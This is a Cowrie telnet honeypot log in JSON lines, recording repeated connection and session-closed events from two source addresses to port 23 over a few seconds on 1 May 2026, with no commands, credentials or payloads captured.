{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33066,"dst_ip":"10.17.0.5","dst_port":23,"session":"b48ffd5bacf1","protocol":"telnet","message":"New connection: 208.115.200.90:33066 (10.17.0.5:23) [session: b48ffd5bacf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:33.386618Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33084,"dst_ip":"10.17.0.5","dst_port":23,"session":"83c24f12aa97","protocol":"telnet","message":"New connection: 208.115.200.90:33084 (10.17.0.5:23) [session: 83c24f12aa97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:33.392381Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33100,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e4749662ffb","protocol":"telnet","message":"New connection: 208.115.200.90:33100 (10.17.0.5:23) [session: 7e4749662ffb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:33.398728Z"}
{"eventid":"cowrie.session.closed","duration":31.335391998291016,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:33.445840Z","src_ip":"208.115.219.122","session":"61f9d8bf93c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.23653817176819,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:33.451870Z","src_ip":"208.115.200.90","session":"71831e50708b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33888,"dst_ip":"10.17.0.5","dst_port":23,"session":"de6094087fed","protocol":"telnet","message":"New connection: 208.115.200.90:33888 (10.17.0.5:23) [session: de6094087fed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:33.656972Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34252,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e8d421748d8","protocol":"telnet","message":"New connection: 208.115.200.90:34252 (10.17.0.5:23) [session: 0e8d421748d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:33.794218Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34254,"dst_ip":"10.17.0.5","dst_port":23,"session":"b37890bdefd2","protocol":"telnet","message":"New connection: 208.115.200.90:34254 (10.17.0.5:23) [session: b37890bdefd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:33.800509Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34340,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ef5631599af","protocol":"telnet","message":"New connection: 208.115.200.90:34340 (10.17.0.5:23) [session: 1ef5631599af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:33.841261Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34354,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ee2dff2a017","protocol":"telnet","message":"New connection: 208.115.200.90:34354 (10.17.0.5:23) [session: 6ee2dff2a017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:33.847427Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34508,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e4c3a124019","protocol":"telnet","message":"New connection: 208.115.200.90:34508 (10.17.0.5:23) [session: 4e4c3a124019]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:33.906930Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46444,"dst_ip":"10.17.0.5","dst_port":23,"session":"e10d3057b7dc","protocol":"telnet","message":"New connection: 208.115.219.122:46444 (10.17.0.5:23) [session: e10d3057b7dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:33.968585Z"}
{"eventid":"cowrie.session.closed","duration":30.130993843078613,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:34.020338Z","src_ip":"208.115.219.122","session":"ebbd481e3744","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34672,"dst_ip":"10.17.0.5","dst_port":23,"session":"63206da44a7c","protocol":"telnet","message":"New connection: 208.115.200.90:34672 (10.17.0.5:23) [session: 63206da44a7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:34.032783Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34680,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8084af2b6d9","protocol":"telnet","message":"New connection: 208.115.200.90:34680 (10.17.0.5:23) [session: d8084af2b6d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:34.039138Z"}
{"eventid":"cowrie.session.closed","duration":30.98762607574463,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:34.050005Z","src_ip":"208.115.200.90","session":"0631426ba508","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.720594882965088,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:34.069447Z","src_ip":"208.115.219.122","session":"596b39698871","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55933165550232,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:34.081852Z","src_ip":"208.115.219.122","session":"d0cc25067ce3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.745720863342285,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:34.134231Z","src_ip":"208.115.219.122","session":"b2ee73dea3d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78366780281067,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:34.142176Z","src_ip":"208.115.219.122","session":"3a1880054213","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.373658180236816,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:34.159157Z","src_ip":"208.115.200.90","session":"65f1dfba6206","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34734,"dst_ip":"10.17.0.5","dst_port":23,"session":"91fbee9325c6","protocol":"telnet","message":"New connection: 208.115.200.90:34734 (10.17.0.5:23) [session: 91fbee9325c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:34.225381Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44842,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e88afea5252","protocol":"telnet","message":"New connection: 208.115.200.90:44842 (10.17.0.5:23) [session: 4e88afea5252]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:34.321692Z"}
{"eventid":"cowrie.session.closed","duration":31.21230936050415,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:34.332749Z","src_ip":"208.115.200.90","session":"120aeafa3ef1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01970601081848,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:34.356088Z","src_ip":"208.115.200.90","session":"996be816e88c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12017798423767,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:34.377063Z","src_ip":"208.115.200.90","session":"0cebd6650270","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46492,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f146ea162fa","protocol":"telnet","message":"New connection: 208.115.219.122:46492 (10.17.0.5:23) [session: 4f146ea162fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:34.669455Z"}
{"eventid":"cowrie.session.closed","duration":31.321526288986206,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:34.772547Z","src_ip":"208.115.200.90","session":"49231fe63ed7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46510,"dst_ip":"10.17.0.5","dst_port":23,"session":"69c27fcaebf7","protocol":"telnet","message":"New connection: 208.115.219.122:46510 (10.17.0.5:23) [session: 69c27fcaebf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:34.898734Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44886,"dst_ip":"10.17.0.5","dst_port":23,"session":"e68e7944b12c","protocol":"telnet","message":"New connection: 208.115.200.90:44886 (10.17.0.5:23) [session: e68e7944b12c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:35.005466Z"}
{"eventid":"cowrie.session.closed","duration":30.729236364364624,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:35.023293Z","src_ip":"208.115.219.122","session":"5584563f8431","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05331301689148,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:35.130964Z","src_ip":"208.115.200.90","session":"89913a3264d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34694,"dst_ip":"10.17.0.5","dst_port":23,"session":"f207333c6af1","protocol":"telnet","message":"New connection: 208.115.200.90:34694 (10.17.0.5:23) [session: f207333c6af1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:35.146155Z"}
{"eventid":"cowrie.session.closed","duration":30.81861710548401,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:35.152078Z","src_ip":"208.115.200.90","session":"5ab54c9e29da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44902,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9e5d24e25bd","protocol":"telnet","message":"New connection: 208.115.200.90:44902 (10.17.0.5:23) [session: b9e5d24e25bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:35.236547Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44914,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec56276231b3","protocol":"telnet","message":"New connection: 208.115.200.90:44914 (10.17.0.5:23) [session: ec56276231b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:35.242293Z"}
{"eventid":"cowrie.session.closed","duration":31.055264234542847,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:35.246070Z","src_ip":"208.115.219.122","session":"24168e3ac1f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.399835348129272,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:35.253748Z","src_ip":"208.115.200.90","session":"b26b3480bb80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44934,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fd3a597ac38","protocol":"telnet","message":"New connection: 208.115.200.90:44934 (10.17.0.5:23) [session: 3fd3a597ac38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:35.323607Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44938,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ed9cc6d910b","protocol":"telnet","message":"New connection: 208.115.200.90:44938 (10.17.0.5:23) [session: 3ed9cc6d910b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:35.387355Z"}
{"eventid":"cowrie.session.closed","duration":30.660011529922485,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:35.408440Z","src_ip":"208.115.200.90","session":"f54d22ba0c45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.387553215026855,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:35.418060Z","src_ip":"208.115.219.122","session":"00e85b3fa76a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96140456199646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:35.467116Z","src_ip":"208.115.200.90","session":"cc7d8b5ccc35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44960,"dst_ip":"10.17.0.5","dst_port":23,"session":"673049eb547c","protocol":"telnet","message":"New connection: 208.115.200.90:44960 (10.17.0.5:23) [session: 673049eb547c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:35.484534Z"}
{"eventid":"cowrie.session.closed","duration":31.046040773391724,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:35.498433Z","src_ip":"208.115.200.90","session":"e05ac094d1df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.395713329315186,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:35.631363Z","src_ip":"208.115.200.90","session":"0badb27eacf1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44966,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f4049756841","protocol":"telnet","message":"New connection: 208.115.200.90:44966 (10.17.0.5:23) [session: 9f4049756841]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:35.675727Z"}
{"eventid":"cowrie.session.closed","duration":31.514668941497803,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:35.730249Z","src_ip":"208.115.219.122","session":"4d5be7fc1b3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.557819604873657,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:35.803082Z","src_ip":"208.115.219.122","session":"7a2a2b49740e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45018,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fbd5504f858","protocol":"telnet","message":"New connection: 208.115.200.90:45018 (10.17.0.5:23) [session: 7fbd5504f858]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:35.895099Z"}
{"eventid":"cowrie.session.closed","duration":30.61838388442993,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:36.066746Z","src_ip":"208.115.200.90","session":"1105da31e7c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":40302,"dst_ip":"10.17.0.5","dst_port":23,"session":"7162e33934bd","protocol":"telnet","message":"New connection: 208.115.219.122:40302 (10.17.0.5:23) [session: 7162e33934bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:36.100493Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45036,"dst_ip":"10.17.0.5","dst_port":23,"session":"c63f96e211f1","protocol":"telnet","message":"New connection: 208.115.200.90:45036 (10.17.0.5:23) [session: c63f96e211f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:36.153716Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45048,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa5548ea5659","protocol":"telnet","message":"New connection: 208.115.200.90:45048 (10.17.0.5:23) [session: fa5548ea5659]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:36.239500Z"}
{"eventid":"cowrie.session.closed","duration":30.9785897731781,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:36.303302Z","src_ip":"208.115.200.90","session":"7cdd3e18a7b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.393736362457275,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:36.361232Z","src_ip":"208.115.219.122","session":"178c09920018","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":40342,"dst_ip":"10.17.0.5","dst_port":23,"session":"162d9fbdab07","protocol":"telnet","message":"New connection: 208.115.219.122:40342 (10.17.0.5:23) [session: 162d9fbdab07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:36.373010Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45130,"dst_ip":"10.17.0.5","dst_port":23,"session":"985b3f9bfb0d","protocol":"telnet","message":"New connection: 208.115.200.90:45130 (10.17.0.5:23) [session: 985b3f9bfb0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:36.451362Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45144,"dst_ip":"10.17.0.5","dst_port":23,"session":"0103d1165ced","protocol":"telnet","message":"New connection: 208.115.200.90:45144 (10.17.0.5:23) [session: 0103d1165ced]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:36.458143Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45160,"dst_ip":"10.17.0.5","dst_port":23,"session":"53a26973fa28","protocol":"telnet","message":"New connection: 208.115.200.90:45160 (10.17.0.5:23) [session: 53a26973fa28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:36.465471Z"}
{"eventid":"cowrie.session.closed","duration":31.49243474006653,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:36.732554Z","src_ip":"208.115.200.90","session":"9f14b377a182","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.872864723205566,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:36.941549Z","src_ip":"208.115.219.122","session":"c1146fb4c5b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59455966949463,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:37.016005Z","src_ip":"208.115.200.90","session":"0aa6f05f5948","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87410616874695,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:37.029766Z","src_ip":"208.115.219.122","session":"5f32159e8473","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.767592191696167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:37.114222Z","src_ip":"208.115.200.90","session":"29ad65b90f4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86555814743042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:37.219769Z","src_ip":"208.115.200.90","session":"2343f3928183","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45364,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9213f997911","protocol":"telnet","message":"New connection: 208.115.200.90:45364 (10.17.0.5:23) [session: a9213f997911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:37.240976Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45378,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e5c7a945f8f","protocol":"telnet","message":"New connection: 208.115.200.90:45378 (10.17.0.5:23) [session: 0e5c7a945f8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:37.266102Z"}
{"eventid":"cowrie.session.closed","duration":31.05801749229431,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:37.308389Z","src_ip":"208.115.200.90","session":"9384cb86dea6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45392,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d415e1c8935","protocol":"telnet","message":"New connection: 208.115.200.90:45392 (10.17.0.5:23) [session: 9d415e1c8935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:37.321132Z"}
{"eventid":"cowrie.session.closed","duration":30.72688388824463,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:37.327433Z","src_ip":"208.115.200.90","session":"546cfff1d8d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45418,"dst_ip":"10.17.0.5","dst_port":23,"session":"4470ca11ee18","protocol":"telnet","message":"New connection: 208.115.200.90:45418 (10.17.0.5:23) [session: 4470ca11ee18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:37.409119Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45440,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcc034ee5483","protocol":"telnet","message":"New connection: 208.115.200.90:45440 (10.17.0.5:23) [session: dcc034ee5483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:37.462614Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45538,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c59fd5af0fe","protocol":"telnet","message":"New connection: 208.115.200.90:45538 (10.17.0.5:23) [session: 1c59fd5af0fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:37.622360Z"}
{"eventid":"cowrie.session.closed","duration":30.994778156280518,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:38.051579Z","src_ip":"208.115.219.122","session":"297df0e9a181","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.880794525146484,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:38.057576Z","src_ip":"208.115.219.122","session":"dc3bd9175698","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":40444,"dst_ip":"10.17.0.5","dst_port":23,"session":"944ba334f55a","protocol":"telnet","message":"New connection: 208.115.219.122:40444 (10.17.0.5:23) [session: 944ba334f55a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:38.065203Z"}
{"eventid":"cowrie.session.closed","duration":30.828369855880737,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:38.070881Z","src_ip":"208.115.200.90","session":"f433e293a5ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.851099014282227,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:38.088729Z","src_ip":"208.115.200.90","session":"0bc8675c8bb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":40458,"dst_ip":"10.17.0.5","dst_port":23,"session":"d41411e5f36e","protocol":"telnet","message":"New connection: 208.115.219.122:40458 (10.17.0.5:23) [session: d41411e5f36e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:38.129683Z"}
{"eventid":"cowrie.session.closed","duration":31.15023446083069,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:38.135464Z","src_ip":"208.115.200.90","session":"de3e09bef426","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.70652461051941,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:38.196634Z","src_ip":"208.115.200.90","session":"fe5b8dde8478","protocol":"telnet"}
